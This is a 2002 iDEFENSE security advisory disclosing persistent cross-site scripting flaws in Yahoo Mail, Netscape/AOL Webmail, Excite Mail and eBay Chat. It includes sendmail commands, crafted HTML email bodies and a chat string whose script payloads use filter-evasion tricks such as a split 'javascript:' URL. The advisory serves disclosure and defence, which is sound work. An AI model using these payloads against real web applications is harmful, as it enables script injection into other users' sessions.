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Message-ID: <3D60AED5.1818.242E38F7@localhost>
From: dendler at idefense.com (David Endler)
Subject: iDEFENSE Security Advisory: Cross-Site Scripting Vulnerabilities in Popular Web Applications
iDEFENSE Security Advisory 08.19.2002
Cross-Site Scripting (XSS) Vulnerabilities in Popular Web
Applications
Yahoo Mail http://mail.yahoo.com
Netscape Mail http://webmail.netscape.com
AOL Webmail http://webmail.aol.com (same as Netscape Mail)
Excite Mail http://mail.excite.com
eBay Chat http://pages.ebay.com/community/chat/index.html
DESCRIPTION
Many Web Applications generate dynamic HTML web pages using
user-submitted data and other sources of "untrusted content."
Web Applications not meticulously filtering this untrusted
content before presenting the web page to the user may
allow for the manipulation of the web page and its content
interpretation by a web browser.
This issue becomes dangerous when untrusted content is able to
be inserted into a dynamic HTML web page via a web application
or other means, causing the content to execute potentially
malicious code within a users browser with the exact same
privileges of the ligitimate web server.
Some Web Applications such as Yahoo Mail and others, already
meticulously filter incoming untrusted data before the content
reaches their users. However, given the loose interpretation
of HTML/JavaScript/VBScript etc. by various web browsers,
obfuscated content may elude the current filters and execute
within the users browser environment.
Allowing the attacker to target users almost instantly without
relying on the user performing any activities other than
normal usage. All vulnerabilties affect either Microsoft
Internet Explorer Browser or Netscape or both. These types of
XSS vulnerabilities are usually classified as "constant-
state", as they exist persistently for more than just one HTTP
request. More detailed XSS exploitation scenarios
are detailed in an iDEFENSE paper available at
http://www.idefense.com/XSS.html.
ANALYSIS
*** Yahoo Mail ***
The following XSS vulnerability only existed for Netscape 4.x
browsers (see Vendor
Response, this issue in Yahoo has since been addressed):
bash$ sendmail -t target@...oo.com
Paste the following email message
--------------------------------------------------
MIME-Version: 1.0
From: Attack <attacker@....com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: XSS Attack
<HTML><BODY>
<ILAYER SRC="script.js"></ILAYER>
</BODY></HTML>
.
--------------------------------------------------
*** Netscape/AOL Webmail ***
This XSS vulnerability exists in Netscape Mail
(webmail.netscape.com) and AOL Webmail (webmail.aol.com). The
following XSS behavior can be caused in both IE 5.x/6.x and
Netscape 4.x:
bash$ sendmail -t target@...scape.net
Paste the following email message
--------------------------------------------------
MIME-Version: 1.0
From: Attack <attacker@....com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: XSS Attack
<HTML><BODY>
<IMG SRC="javasc
ript:alert('test');">
</BODY></HTML>
.
--------------------------------------------------
*** Excite Webmail ***
It would seem that Excite does not perform any filtering of
HTML/SCRIPT whatsoever. The following XSS behavior can be
caused in both IE 5.x/6.x and Netscape 4.x/6.x:
bash$ sendmail -t target@...ite.com
Paste the following email message
--------------------------------------------------
MIME-Version: 1.0
From: Attack <attacker@....com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: XSS Attack
<HTML><BODY>
<SCRIPT>alert(document.domain);</SCRIPT>
</BODY></HTML>
.
--------------------------------------------------
*** eBay Chat ***
While you are logged in as an eBay user, place the text sting
below within the chat text field and click submit. The message
will appear within the main chat text message and will execute
in a user's browser when read. The following XSS behavior can
be caused in both IE 5.x/6.x and Netscape 4.x:
---- XSS String ------------------------------------
<IMG SRC="javasc
ript:alert(document.domain);">
----------------------------------------------------
DISCOVERY CREDIT
Jeremiah Grossman (jeremiah@...tehatsec.com)
Lex Arquette (lex@...tehatsec.com)
VENDOR RESPONSE
July 16, 2002 - Scott Renfro (scottr@...oo-inc.com), title
"Paranoid Yahoo", responded and issue was fixed.
DISCLOSURE TIMELINE
June 27, 2002 Exclusively Disclosed to iDEFENSE
July 16, 2002 Ebay, AOL/Netscape, Yahoo, and Excite notified
July 16, 2002 iDEFENSE Client Disclosure
August 11, 2002 Second notice given to Excite,
AOL/Netscape, and eBay
through web customer service suggestion systems
August 19, 2002 Still no response from Excite,
AOL/Netscape, or eBay - Public Disclosure
http://www.idefense.com/contributor.html
David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071
dendler@...fense.com
www.idefense.com
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